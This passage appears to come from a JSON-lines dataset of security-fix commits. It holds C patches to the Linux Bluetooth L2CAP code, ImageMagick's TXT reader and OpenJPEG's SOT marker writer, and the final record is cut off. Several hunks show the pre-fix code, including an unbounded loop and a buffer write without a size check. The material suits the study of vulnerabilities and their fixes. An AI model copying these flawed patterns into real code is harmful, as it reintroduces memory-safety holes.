+1808,22 @@ static int l2cap_build_conf_req(struct sock *sk, void *data)\n \n \tcase L2CAP_MODE_ERTM:\n \t\trfc.mode = L2CAP_MODE_ERTM;\n-\t\trfc.txwin_size = L2CAP_DEFAULT_RX_WINDOW;\n+\t\trfc.txwin_size = L2CAP_DEFAULT_TX_WINDOW;\n \t\trfc.max_transmit = L2CAP_DEFAULT_MAX_RECEIVE;\n-\t\trfc.retrans_timeout = cpu_to_le16(L2CAP_DEFAULT_RETRANS_TO);\n-\t\trfc.monitor_timeout = cpu_to_le16(L2CAP_DEFAULT_MONITOR_TO);\n+\t\trfc.retrans_timeout = 0;\n+\t\trfc.monitor_timeout = 0;\n+\t\trfc.max_pdu_size = cpu_to_le16(L2CAP_DEFAULT_MAX_RX_APDU);\n+\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t\tbreak;\n+\n+\tcase L2CAP_MODE_STREAMING:\n+\t\trfc.mode = L2CAP_MODE_STREAMING;\n+\t\trfc.txwin_size = 0;\n+\t\trfc.max_transmit = 0;\n+\t\trfc.retrans_timeout = 0;\n+\t\trfc.monitor_timeout = 0;\n \t\trfc.max_pdu_size = cpu_to_le16(L2CAP_DEFAULT_MAX_RX_APDU);\n \n \t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n@@ -1825,37 +1889,157 @@ static int l2cap_parse_conf_req(struct sock *sk, void *data)\n \t\t}\n \t}\n \n+\tif (pi->num_conf_rsp || pi->num_conf_req)\n+\t\tgoto done;\n+\n+\tswitch (pi->mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tpi->conf_state |= L2CAP_CONF_STATE2_DEVICE;\n+\t\tif (!l2cap_mode_supported(pi->mode, pi->conn->feat_mask))\n+\t\t\treturn -ECONNREFUSED;\n+\t\tbreak;\n+\tdefault:\n+\t\tpi->mode = l2cap_select_mode(rfc.mode, pi->conn->feat_mask);\n+\t\tbreak;\n+\t}\n+\n+done:\n+\tif (pi->mode != rfc.mode) {\n+\t\tresult = L2CAP_CONF_UNACCEPT;\n+\t\trfc.mode = pi->mode;\n+\n+\t\tif (pi->num_conf_rsp == 1)\n+\t\t\treturn -ECONNREFUSED;\n+\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t}\n+\n+\n \tif (result == L2CAP_CONF_SUCCESS) {\n \t\t/* Configure output options and let the other side know\n \t\t * which ones we don't like. */\n \n-\t\tif (rfc.mode == L2CAP_MODE_BASIC) {\n-\t\t\tif (mtu < pi->omtu)\n-\t\t\t\tresult = L2CAP_CONF_UNACCEPT;\n-\t\t\telse {\n-\t\t\t\tpi->omtu = mtu;\n-\t\t\t\tpi->conf_state |= L2CAP_CONF_OUTPUT_DONE;\n-\t\t\t}\n+\t\tif (mtu < L2CAP_DEFAULT_MIN_MTU)\n+\t\t\tresult = L2CAP_CONF_UNACCEPT;\n+\t\telse {\n+\t\t\tpi->omtu = mtu;\n+\t\t\tpi->conf_state |= L2CAP_CONF_MTU_DONE;\n+\t\t}\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n \n-\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n-\t\t} else {\n+\t\tswitch (rfc.mode) {\n+\t\tcase L2CAP_MODE_BASIC:\n+\t\t\tpi->fcs = L2CAP_FCS_NONE;\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_MODE_ERTM:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->remote_max_tx = rfc.max_transmit;\n+\t\t\tpi->max_pdu_size = rfc.max_pdu_size;\n+\n+\t\t\trfc.retrans_timeout = L2CAP_DEFAULT_RETRANS_TO;\n+\t\t\trfc.monitor_timeout = L2CAP_DEFAULT_MONITOR_TO;\n+\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_MODE_STREAMING:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->max_pdu_size = rfc.max_pdu_size;\n+\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tdefault:\n \t\t\tresult = L2CAP_CONF_UNACCEPT;\n \n \t\t\tmemset(&rfc, 0, sizeof(rfc));\n-\t\t\trfc.mode = L2CAP_MODE_BASIC;\n+\t\t\trfc.mode = pi->mode;\n+\t\t}\n \n-\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n \t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n-\t\t}\n-\t}\n \n+\t\tif (result == L2CAP_CONF_SUCCESS)\n+\t\t\tpi->conf_state |= L2CAP_CONF_OUTPUT_DONE;\n+\t}\n \trsp->scid = cpu_to_le16(pi->dcid);\n \trsp->result = cpu_to_le16(result);\n \trsp->flags = cpu_to_le16(0x0000);\n \n \treturn ptr - data;\n }\n \n+static int l2cap_parse_conf_rsp(struct sock *sk, void *rsp, int len, void *data, u16 *result)\n+{\n+\tstruct l2cap_pinfo *pi = l2cap_pi(sk);\n+\tstruct l2cap_conf_req *req = data;\n+\tvoid *ptr = req->data;\n+\tint type, olen;\n+\tunsigned long val;\n+\tstruct l2cap_conf_rfc rfc;\n+\n+\tBT_DBG(\"sk %p, rsp %p, len %d, req %p\", sk, rsp, len, data);\n+\n+\twhile (len >= L2CAP_CONF_OPT_SIZE) {\n+\t\tlen -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);\n+\n+\t\tswitch (type) {\n+\t\tcase L2CAP_CONF_MTU:\n+\t\t\tif (val < L2CAP_DEFAULT_MIN_MTU) {\n+\t\t\t\t*result = L2CAP_CONF_UNACCEPT;\n+\t\t\t\tpi->omtu = L2CAP_DEFAULT_MIN_MTU;\n+\t\t\t} else\n+\t\t\t\tpi->omtu = val;\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_CONF_FLUSH_TO:\n+\t\t\tpi->flush_to = val;\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO,\n+\t\t\t\t\t\t\t2, pi->flush_to);\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_CONF_RFC:\n+\t\t\tif (olen == sizeof(rfc))\n+\t\t\t\tmemcpy(&rfc, (void *)val, olen);\n+\n+\t\t\tif ((pi->conf_state & L2CAP_CONF_STATE2_DEVICE) &&\n+\t\t\t\t\t\t\trfc.mode != pi->mode)\n+\t\t\t\treturn -ECONNREFUSED;\n+\n+\t\t\tpi->mode = rfc.mode;\n+\t\t\tpi->fcs = 0;\n+\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t\t\tbreak;\n+\t\t}\n+\t}\n+\n+\tif (*result == L2CAP_CONF_SUCCESS) {\n+\t\tswitch (rfc.mode) {\n+\t\tcase L2CAP_MODE_ERTM:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->retrans_timeout = rfc.retrans_timeout;\n+\t\t\tpi->monitor_timeout = rfc.monitor_timeout;\n+\t\t\tpi->max_pdu_size = le16_to_cpu(rfc.max_pdu_size);\n+\t\t\tbreak;\n+\t\tcase L2CAP_MODE_STREAMING:\n+\t\t\tpi->max_pdu_size = le16_to_cpu(rfc.max_pdu_size);\n+\t\t\tbreak;\n+\t\t}\n+\t}\n+\n+\treq->dcid = cpu_to_le16(pi->dcid);\n+\treq->flags = cpu_to_le16(0x0000);\n+\n+\treturn ptr - data;\n+}\n+\n static int l2cap_build_conf_rsp(struct sock *sk, void *data, u16 result, u16 flags)\n {\n \tstruct l2cap_conf_rsp *rsp = data;\n@@ -2042,6 +2226,7 @@ static inline int l2cap_connect_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hd\n \n \t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n \t\t\t\t\tl2cap_build_conf_req(sk, req), req);\n+\t\tl2cap_pi(sk)->num_conf_req++;\n \t\tbreak;\n \n \tcase L2CAP_CR_PEND:\n@@ -2100,10 +2285,17 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \n \t/* Complete config. */\n \tlen = l2cap_parse_conf_req(sk, rsp);\n-\tif (len < 0)\n+\tif (len < 0) {\n+\t\tstruct l2cap_disconn_req req;\n+\t\treq.dcid = cpu_to_le16(l2cap_pi(sk)->dcid);\n+\t\treq.scid = cpu_to_le16(l2cap_pi(sk)->scid);\n+\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n \t\tgoto unlock;\n+\t}\n \n \tl2cap_send_cmd(conn, cmd->ident, L2CAP_CONF_RSP, len, rsp);\n+\tl2cap_pi(sk)->num_conf_rsp++;\n \n \t/* Reset config buffer. */\n \tl2cap_pi(sk)->conf_len = 0;\n@@ -2121,6 +2313,7 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \t\tu8 buf[64];\n \t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n \t\t\t\t\tl2cap_build_conf_req(sk, buf), buf);\n+\t\tl2cap_pi(sk)->num_conf_req++;\n \t}\n \n unlock:\n@@ -2150,16 +2343,29 @@ static inline int l2cap_config_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \t\tbreak;\n \n \tcase L2CAP_CONF_UNACCEPT:\n-\t\tif (++l2cap_pi(sk)->conf_retry < L2CAP_CONF_MAX_RETRIES) {\n-\t\t\tchar req[128];\n-\t\t\t/* It does not make sense to adjust L2CAP parameters\n-\t\t\t * that are currently defined in the spec. We simply\n-\t\t\t * resend config request that we sent earlier. It is\n-\t\t\t * stupid, but it helps qualification testing which\n-\t\t\t * expects at least some response from us. */\n-\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n-\t\t\t\t\t\tl2cap_build_conf_req(sk, req), req);\n-\t\t\tgoto done;\n+\t\tif (l2cap_pi(sk)->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {\n+\t\t\tint len = cmd->len - sizeof(*rsp);\n+\t\t\tchar req[64];\n+\n+\t\t\t/* throw out any old stored conf requests */\n+\t\t\tresult = L2CAP_CONF_SUCCESS;\n+\t\t\tlen = l2cap_parse_conf_rsp(sk, rsp->data,\n+\t\t\t\t\t\t\tlen, req, &result);\n+\t\t\tif (len < 0) {\n+\t\t\t\tstruct l2cap_disconn_req req;\n+\t\t\t\treq.dcid = cpu_to_le16(l2cap_pi(sk)->dcid);\n+\t\t\t\treq.scid = cpu_to_le16(l2cap_pi(sk)->scid);\n+\t\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n+\t\t\t\tgoto done;\n+\t\t\t}\n+\n+\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\t\tL2CAP_CONF_REQ, len, req);\n+\t\t\tl2cap_pi(sk)->num_conf_req++;\n+\t\t\tif (result != L2CAP_CONF_SUCCESS)\n+\t\t\t\tgoto done;\n+\t\t\tbreak;\n \t\t}\n \n \tdefault:", "sections": [{"section": "@@ -966,6 +966,7 @@ static int l2cap_sock_connect(struct socket *sock, struct sockaddr *addr, int al\n \tcase L2CAP_MODE_BASIC:\n \t\tbreak;\n \tcase L2CAP_MODE_ERTM:\n+\tcase L2CAP_MODE_STREAMING:\n \t\tif (enable_ertm)\n \t\t\tbreak;\n \t\t/* fall through */\n", "related": false}, {"section": "@@ -1029,6 +1030,7 @@ static int l2cap_sock_listen(struct socket *sock, int backlog)\n \tcase L2CAP_MODE_BASIC:\n \t\tbreak;\n \tcase L2CAP_MODE_ERTM:\n+\tcase L2CAP_MODE_STREAMING:\n \t\tif (enable_ertm)\n \t\t\tbreak;\n \t\t/* fall through */\n", "related": false}, {"section": "@@ -1739,15 +1741,65 @@ static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val)\n \t*ptr += L2CAP_CONF_OPT_SIZE + len;\n }\n \n+static int l2cap_mode_supported(__u8 mode, __u32 feat_mask)\n+{\n+\tu32 local_feat_mask = l2cap_feat_mask;\n+\tif (enable_ertm)\n+\t\tlocal_feat_mask |= L2CAP_FEAT_ERTM;\n+\n+\tswitch (mode) {\n+\tcase L2CAP_MODE_ERTM:\n+\t\treturn L2CAP_FEAT_ERTM & feat_mask & local_feat_mask;\n+\tcase L2CAP_MODE_STREAMING:\n+\t\treturn L2CAP_FEAT_STREAMING & feat_mask & local_feat_mask;\n+\tdefault:\n+\t\treturn 0x00;\n+\t}\n+}\n+\n+static inline __u8 l2cap_select_mode(__u8 mode, __u16 remote_feat_mask)\n+{\n+\tswitch (mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tif (l2cap_mode_supported(mode, remote_feat_mask))\n+\t\t\treturn mode;\n+\t\t/* fall through */\n+\tdefault:\n+\t\treturn L2CAP_MODE_BASIC;\n+\t}\n+}\n+\n static int l2cap_build_conf_req(struct sock *sk, void *data)\n {\n \tstruct l2cap_pinfo *pi = l2cap_pi(sk);\n \tstruct l2cap_conf_req *req = data;\n-\tstruct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_BASIC };\n+\tstruct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_ERTM };\n \tvoid *ptr = req->data;\n \n \tBT_DBG(\"sk %p\", sk);\n \n+\tif (pi->num_conf_req || pi->num_conf_rsp)\n+\t\tgoto done;\n+\n+\tswitch (pi->mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tpi->conf_state |= L2CAP_CONF_STATE2_DEVICE;\n+\t\tif (!l2cap_mode_supported(pi->mode, pi->conn->feat_mask)) {\n+\t\t\tstruct l2cap_disconn_req req;\n+\t\t\treq.dcid = cpu_to_le16(pi->dcid);\n+\t\t\treq.scid = cpu_to_le16(pi->scid);\n+\t\t\tl2cap_send_cmd(pi->conn, l2cap_get_ident(pi->conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n+\t\t}\n+\t\tbreak;\n+\tdefault:\n+\t\tpi->mode = l2cap_select_mode(rfc.mode, pi->conn->feat_mask);\n+\t\tbreak;\n+\t}\n+\n+done:\n \tswitch (pi->mode) {\n \tcase L2CAP_MODE_BASIC:\n \t\tif (pi->imtu != L2CAP_DEFAULT_MTU)\n", "related": false}, {"section": "@@ -1756,10 +1808,22 @@ static int l2cap_build_conf_req(struct sock *sk, void *data)\n \n \tcase L2CAP_MODE_ERTM:\n \t\trfc.mode = L2CAP_MODE_ERTM;\n-\t\trfc.txwin_size = L2CAP_DEFAULT_RX_WINDOW;\n+\t\trfc.txwin_size = L2CAP_DEFAULT_TX_WINDOW;\n \t\trfc.max_transmit = L2CAP_DEFAULT_MAX_RECEIVE;\n-\t\trfc.retrans_timeout = cpu_to_le16(L2CAP_DEFAULT_RETRANS_TO);\n-\t\trfc.monitor_timeout = cpu_to_le16(L2CAP_DEFAULT_MONITOR_TO);\n+\t\trfc.retrans_timeout = 0;\n+\t\trfc.monitor_timeout = 0;\n+\t\trfc.max_pdu_size = cpu_to_le16(L2CAP_DEFAULT_MAX_RX_APDU);\n+\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t\tbreak;\n+\n+\tcase L2CAP_MODE_STREAMING:\n+\t\trfc.mode = L2CAP_MODE_STREAMING;\n+\t\trfc.txwin_size = 0;\n+\t\trfc.max_transmit = 0;\n+\t\trfc.retrans_timeout = 0;\n+\t\trfc.monitor_timeout = 0;\n \t\trfc.max_pdu_size = cpu_to_le16(L2CAP_DEFAULT_MAX_RX_APDU);\n \n \t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n", "related": false}, {"section": "@@ -1825,37 +1889,157 @@ static int l2cap_parse_conf_req(struct sock *sk, void *data)\n \t\t}\n \t}\n \n+\tif (pi->num_conf_rsp || pi->num_conf_req)\n+\t\tgoto done;\n+\n+\tswitch (pi->mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tpi->conf_state |= L2CAP_CONF_STATE2_DEVICE;\n+\t\tif (!l2cap_mode_supported(pi->mode, pi->conn->feat_mask))\n+\t\t\treturn -ECONNREFUSED;\n+\t\tbreak;\n+\tdefault:\n+\t\tpi->mode = l2cap_select_mode(rfc.mode, pi->conn->feat_mask);\n+\t\tbreak;\n+\t}\n+\n+done:\n+\tif (pi->mode != rfc.mode) {\n+\t\tresult = L2CAP_CONF_UNACCEPT;\n+\t\trfc.mode = pi->mode;\n+\n+\t\tif (pi->num_conf_rsp == 1)\n+\t\t\treturn -ECONNREFUSED;\n+\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t}\n+\n+\n \tif (result == L2CAP_CONF_SUCCESS) {\n \t\t/* Configure output options and let the other side know\n \t\t * which ones we don't like. */\n \n-\t\tif (rfc.mode == L2CAP_MODE_BASIC) {\n-\t\t\tif (mtu < pi->omtu)\n-\t\t\t\tresult = L2CAP_CONF_UNACCEPT;\n-\t\t\telse {\n-\t\t\t\tpi->omtu = mtu;\n-\t\t\t\tpi->conf_state |= L2CAP_CONF_OUTPUT_DONE;\n-\t\t\t}\n+\t\tif (mtu < L2CAP_DEFAULT_MIN_MTU)\n+\t\t\tresult = L2CAP_CONF_UNACCEPT;\n+\t\telse {\n+\t\t\tpi->omtu = mtu;\n+\t\t\tpi->conf_state |= L2CAP_CONF_MTU_DONE;\n+\t\t}\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n \n-\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n-\t\t} else {\n+\t\tswitch (rfc.mode) {\n+\t\tcase L2CAP_MODE_BASIC:\n+\t\t\tpi->fcs = L2CAP_FCS_NONE;\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_MODE_ERTM:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->remote_max_tx = rfc.max_transmit;\n+\t\t\tpi->max_pdu_size = rfc.max_pdu_size;\n+\n+\t\t\trfc.retrans_timeout = L2CAP_DEFAULT_RETRANS_TO;\n+\t\t\trfc.monitor_timeout = L2CAP_DEFAULT_MONITOR_TO;\n+\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_MODE_STREAMING:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->max_pdu_size = rfc.max_pdu_size;\n+\n+\t\t\tpi->conf_state |= L2CAP_CONF_MODE_DONE;\n+\t\t\tbreak;\n+\n+\t\tdefault:\n \t\t\tresult = L2CAP_CONF_UNACCEPT;\n \n \t\t\tmemset(&rfc, 0, sizeof(rfc));\n-\t\t\trfc.mode = L2CAP_MODE_BASIC;\n+\t\t\trfc.mode = pi->mode;\n+\t\t}\n \n-\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n \t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n-\t\t}\n-\t}\n \n+\t\tif (result == L2CAP_CONF_SUCCESS)\n+\t\t\tpi->conf_state |= L2CAP_CONF_OUTPUT_DONE;\n+\t}\n \trsp->scid = cpu_to_le16(pi->dcid);\n \trsp->result = cpu_to_le16(result);\n \trsp->flags = cpu_to_le16(0x0000);\n \n \treturn ptr - data;\n }\n \n+static int l2cap_parse_conf_rsp(struct sock *sk, void *rsp, int len, void *data, u16 *result)\n+{\n+\tstruct l2cap_pinfo *pi = l2cap_pi(sk);\n+\tstruct l2cap_conf_req *req = data;\n+\tvoid *ptr = req->data;\n+\tint type, olen;\n+\tunsigned long val;\n+\tstruct l2cap_conf_rfc rfc;\n+\n+\tBT_DBG(\"sk %p, rsp %p, len %d, req %p\", sk, rsp, len, data);\n+\n+\twhile (len >= L2CAP_CONF_OPT_SIZE) {\n+\t\tlen -= l2cap_get_conf_opt(&rsp, &type, &olen, &val);\n+\n+\t\tswitch (type) {\n+\t\tcase L2CAP_CONF_MTU:\n+\t\t\tif (val < L2CAP_DEFAULT_MIN_MTU) {\n+\t\t\t\t*result = L2CAP_CONF_UNACCEPT;\n+\t\t\t\tpi->omtu = L2CAP_DEFAULT_MIN_MTU;\n+\t\t\t} else\n+\t\t\t\tpi->omtu = val;\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_MTU, 2, pi->omtu);\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_CONF_FLUSH_TO:\n+\t\t\tpi->flush_to = val;\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_FLUSH_TO,\n+\t\t\t\t\t\t\t2, pi->flush_to);\n+\t\t\tbreak;\n+\n+\t\tcase L2CAP_CONF_RFC:\n+\t\t\tif (olen == sizeof(rfc))\n+\t\t\t\tmemcpy(&rfc, (void *)val, olen);\n+\n+\t\t\tif ((pi->conf_state & L2CAP_CONF_STATE2_DEVICE) &&\n+\t\t\t\t\t\t\trfc.mode != pi->mode)\n+\t\t\t\treturn -ECONNREFUSED;\n+\n+\t\t\tpi->mode = rfc.mode;\n+\t\t\tpi->fcs = 0;\n+\n+\t\t\tl2cap_add_conf_opt(&ptr, L2CAP_CONF_RFC,\n+\t\t\t\t\tsizeof(rfc), (unsigned long) &rfc);\n+\t\t\tbreak;\n+\t\t}\n+\t}\n+\n+\tif (*result == L2CAP_CONF_SUCCESS) {\n+\t\tswitch (rfc.mode) {\n+\t\tcase L2CAP_MODE_ERTM:\n+\t\t\tpi->remote_tx_win = rfc.txwin_size;\n+\t\t\tpi->retrans_timeout = rfc.retrans_timeout;\n+\t\t\tpi->monitor_timeout = rfc.monitor_timeout;\n+\t\t\tpi->max_pdu_size = le16_to_cpu(rfc.max_pdu_size);\n+\t\t\tbreak;\n+\t\tcase L2CAP_MODE_STREAMING:\n+\t\t\tpi->max_pdu_size = le16_to_cpu(rfc.max_pdu_size);\n+\t\t\tbreak;\n+\t\t}\n+\t}\n+\n+\treq->dcid = cpu_to_le16(pi->dcid);\n+\treq->flags = cpu_to_le16(0x0000);\n+\n+\treturn ptr - data;\n+}\n+\n static int l2cap_build_conf_rsp(struct sock *sk, void *data, u16 result, u16 flags)\n {\n \tstruct l2cap_conf_rsp *rsp = data;\n", "related": false}, {"section": "@@ -2042,6 +2226,7 @@ static inline int l2cap_connect_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hd\n \n \t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n \t\t\t\t\tl2cap_build_conf_req(sk, req), req);\n+\t\tl2cap_pi(sk)->num_conf_req++;\n \t\tbreak;\n \n \tcase L2CAP_CR_PEND:\n", "related": false}, {"section": "@@ -2100,10 +2285,17 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \n \t/* Complete config. */\n \tlen = l2cap_parse_conf_req(sk, rsp);\n-\tif (len < 0)\n+\tif (len < 0) {\n+\t\tstruct l2cap_disconn_req req;\n+\t\treq.dcid = cpu_to_le16(l2cap_pi(sk)->dcid);\n+\t\treq.scid = cpu_to_le16(l2cap_pi(sk)->scid);\n+\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n \t\tgoto unlock;\n+\t}\n \n \tl2cap_send_cmd(conn, cmd->ident, L2CAP_CONF_RSP, len, rsp);\n+\tl2cap_pi(sk)->num_conf_rsp++;\n \n \t/* Reset config buffer. */\n \tl2cap_pi(sk)->conf_len = 0;\n", "related": false}, {"section": "@@ -2121,6 +2313,7 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \t\tu8 buf[64];\n \t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n \t\t\t\t\tl2cap_build_conf_req(sk, buf), buf);\n+\t\tl2cap_pi(sk)->num_conf_req++;\n \t}\n \n unlock:\n", "related": false}, {"section": "@@ -2150,16 +2343,29 @@ static inline int l2cap_config_rsp(struct l2cap_conn *conn, struct l2cap_cmd_hdr\n \t\tbreak;\n \n \tcase L2CAP_CONF_UNACCEPT:\n-\t\tif (++l2cap_pi(sk)->conf_retry < L2CAP_CONF_MAX_RETRIES) {\n-\t\t\tchar req[128];\n-\t\t\t/* It does not make sense to adjust L2CAP parameters\n-\t\t\t * that are currently defined in the spec. We simply\n-\t\t\t * resend config request that we sent earlier. It is\n-\t\t\t * stupid, but it helps qualification testing which\n-\t\t\t * expects at least some response from us. */\n-\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,\n-\t\t\t\t\t\tl2cap_build_conf_req(sk, req), req);\n-\t\t\tgoto done;\n+\t\tif (l2cap_pi(sk)->num_conf_rsp <= L2CAP_CONF_MAX_CONF_RSP) {\n+\t\t\tint len = cmd->len - sizeof(*rsp);\n+\t\t\tchar req[64];\n+\n+\t\t\t/* throw out any old stored conf requests */\n+\t\t\tresult = L2CAP_CONF_SUCCESS;\n+\t\t\tlen = l2cap_parse_conf_rsp(sk, rsp->data,\n+\t\t\t\t\t\t\tlen, req, &result);\n+\t\t\tif (len < 0) {\n+\t\t\t\tstruct l2cap_disconn_req req;\n+\t\t\t\treq.dcid = cpu_to_le16(l2cap_pi(sk)->dcid);\n+\t\t\t\treq.scid = cpu_to_le16(l2cap_pi(sk)->scid);\n+\t\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n+\t\t\t\tgoto done;\n+\t\t\t}\n+\n+\t\t\tl2cap_send_cmd(conn, l2cap_get_ident(conn),\n+\t\t\t\t\t\tL2CAP_CONF_REQ, len, req);\n+\t\t\tl2cap_pi(sk)->num_conf_req++;\n+\t\t\tif (result != L2CAP_CONF_SUCCESS)\n+\t\t\t\tgoto done;\n+\t\t\tbreak;\n \t\t}\n \n \tdefault:", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/txt.c", "commit_id": "50f54462076648ac2e36c3f58f4dadd4babbf1c9", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/713", "patch": "@@ -446,7 +446,9 @@ static Image *ReadTXTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n image->columns=width;\n image->rows=height;\n- for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++) ;\n+ for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++)\n+ if (depth >= 64)\n+ break;\n image->depth=depth;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)", "sections": [{"section": "@@ -446,7 +446,9 @@ static Image *ReadTXTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n image->columns=width;\n image->rows=height;\n- for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++) ;\n+ for (depth=1; (GetQuantumRange(depth)+1) < max_value; depth++)\n+ if (depth >= 64)\n+ break;\n image->depth=depth;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)", "related": false}]} +{"owner": "uclouvain", "repo": "openjpeg", "language": "C", "file_name": "src/lib/openjp2/j2k.c", "commit_id": "dcac91b8c72f743bda7dbfa9032356bc8110098a", "commit_message": "opj_j2k_write_sot(): fix potential write heap buffer overflow (#991)", "patch": "@@ -832,13 +832,15 @@ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k,\n * Writes the SOT marker (Start of tile-part)\n *\n * @param p_j2k J2K codec.\n- * @param p_data FIXME DOC\n- * @param p_data_written FIXME DOC\n+ * @param p_data Output buffer\n+ * @param p_total_data_size Output buffer size\n+ * @param p_data_written Number of bytes written into stream\n * @param p_stream the stream to write data to.\n * @param p_manager the user event manager.\n */\n static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_BYTE * p_data,\n+ OPJ_UINT32 p_total_data_size,\n OPJ_UINT32 * p_data_written,\n const opj_stream_private_t *p_stream,\n opj_event_mgr_t * p_manager);\n@@ -4201,6 +4203,7 @@ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k,\n \n static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_BYTE * p_data,\n+ OPJ_UINT32 p_total_data_size,\n OPJ_UINT32 * p_data_written,\n const opj_stream_private_t *p_stream,\n opj_event_mgr_t * p_manager\n@@ -4214,6 